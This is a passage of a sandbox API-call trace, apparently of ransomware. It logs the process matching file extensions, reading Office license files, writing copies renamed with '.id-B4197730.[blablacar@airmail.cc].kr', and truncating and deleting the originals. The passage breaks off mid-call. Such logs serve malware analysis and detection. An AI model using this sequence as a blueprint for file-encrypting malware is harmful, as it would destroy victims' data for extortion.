[0205.317] lstrlenW (lpString=".xlsx") returned 5 [0205.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.317] lstrlenW (lpString=".ppt") returned 4 [0205.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString=".zip") returned 4 [0205.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString=".rar") returned 4 [0205.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString=".bz2") returned 4 [0205.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString=".7z") returned 3 [0205.317] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString=".dbf") returned 4 [0205.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString=".1cd") returned 4 [0205.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString=".jpg") returned 4 [0205.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.318] lstrlenW (lpString=".doc") returned 4 [0205.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".docx") returned 5 [0205.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.318] lstrlenW (lpString=".pdf") returned 4 [0205.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".xls") returned 4 [0205.318] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".xlsx") returned 5 [0205.318] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.318] lstrlenW (lpString=".ppt") returned 4 [0205.318] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.318] lstrlenW (lpString=".zip") returned 4 [0205.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".rar") returned 4 [0205.318] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".bz2") returned 4 [0205.318] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString=".7z") returned 3 [0205.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.318] lstrlenW (lpString=".dbf") returned 4 [0205.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.318] lstrlenW (lpString=".1cd") returned 4 [0205.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.319] lstrlenW (lpString=".jpg") returned 4 [0205.319] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.319] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.319] lstrlenW (lpString="O365ProPlusR_SubTrial2-pl.xrm-ms") returned 32 [0205.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.319] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11179) returned 1 [0205.320] CloseHandle (hObject=0x3c4) returned 1 [0205.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 0x220 [0205.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.320] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.320] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0205.321] GetLastError () returned 0x0 [0205.321] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0205.359] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0205.360] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.360] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0205.360] SetEndOfFile (hFile=0x378) returned 1 [0205.365] CloseHandle (hObject=0x378) returned 1 [0205.369] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.369] SetEndOfFile (hFile=0x3c4) returned 1 [0205.384] CloseHandle (hObject=0x3c4) returned 1 [0205.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 1 [0205.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.386] lstrlenW (lpString=".doc") returned 4 [0205.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".docx") returned 5 [0205.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.386] lstrlenW (lpString=".pdf") returned 4 [0205.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".xls") returned 4 [0205.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".xlsx") returned 5 [0205.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.386] lstrlenW (lpString=".ppt") returned 4 [0205.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.386] lstrlenW (lpString=".zip") returned 4 [0205.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".rar") returned 4 [0205.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".bz2") returned 4 [0205.386] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString=".7z") returned 3 [0205.386] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.386] lstrlenW (lpString=".dbf") returned 4 [0205.386] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.386] lstrlenW (lpString=".1cd") returned 4 [0205.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString=".jpg") returned 4 [0205.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString=".doc") returned 4 [0205.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".docx") returned 5 [0205.387] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.387] lstrlenW (lpString=".pdf") returned 4 [0205.387] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".xls") returned 4 [0205.387] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".xlsx") returned 5 [0205.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.387] lstrlenW (lpString=".ppt") returned 4 [0205.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString=".zip") returned 4 [0205.387] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".rar") returned 4 [0205.387] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".bz2") returned 4 [0205.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString=".7z") returned 3 [0205.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString=".dbf") returned 4 [0205.387] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.387] lstrlenW (lpString=".1cd") returned 4 [0205.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0205.388] lstrlenW (lpString=".jpg") returned 4 [0205.388] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.388] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.388] lstrlenW (lpString="O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 36 [0205.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.389] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11630) returned 1 [0205.389] CloseHandle (hObject=0x3c4) returned 1 [0205.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0205.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.389] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.389] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0205.390] GetLastError () returned 0x0 [0205.390] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0205.647] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0205.878] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.878] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0205.879] SetEndOfFile (hFile=0x378) returned 1 [0205.879] CloseHandle (hObject=0x378) returned 1 [0205.879] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.879] SetEndOfFile (hFile=0x3c4) returned 1 [0205.953] CloseHandle (hObject=0x3c4) returned 1 [0205.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 1 [0205.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.956] lstrlenW (lpString=".doc") returned 4 [0205.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".docx") returned 5 [0205.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.956] lstrlenW (lpString=".pdf") returned 4 [0205.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".xls") returned 4 [0205.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".xlsx") returned 5 [0205.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.956] lstrlenW (lpString=".ppt") returned 4 [0205.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.956] lstrlenW (lpString=".zip") returned 4 [0205.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".rar") returned 4 [0205.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".bz2") returned 4 [0205.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString=".7z") returned 3 [0205.956] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.956] lstrlenW (lpString=".dbf") returned 4 [0205.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.956] lstrlenW (lpString=".1cd") returned 4 [0205.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.956] lstrlenW (lpString=".jpg") returned 4 [0205.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString=".doc") returned 4 [0205.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".docx") returned 5 [0205.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.957] lstrlenW (lpString=".pdf") returned 4 [0205.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".xls") returned 4 [0205.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".xlsx") returned 5 [0205.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.957] lstrlenW (lpString=".ppt") returned 4 [0205.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString=".zip") returned 4 [0205.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".rar") returned 4 [0205.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".bz2") returned 4 [0205.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString=".7z") returned 3 [0205.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString=".dbf") returned 4 [0205.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString=".1cd") returned 4 [0205.957] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0205.957] lstrlenW (lpString=".jpg") returned 4 [0205.957] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.958] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.958] lstrlenW (lpString="O365ProPlusR_SubTrial5-pl.xrm-ms") returned 32 [0205.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.959] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11179) returned 1 [0205.959] CloseHandle (hObject=0x3c4) returned 1 [0205.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 0x220 [0205.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.959] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.960] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.960] GetLastError () returned 0x0 [0205.960] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0205.998] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0205.999] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.999] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0205.999] SetEndOfFile (hFile=0x38c) returned 1 [0206.020] CloseHandle (hObject=0x38c) returned 1 [0206.034] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.034] SetEndOfFile (hFile=0x3c4) returned 1 [0206.040] CloseHandle (hObject=0x3c4) returned 1 [0206.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.041] DeleteFileW 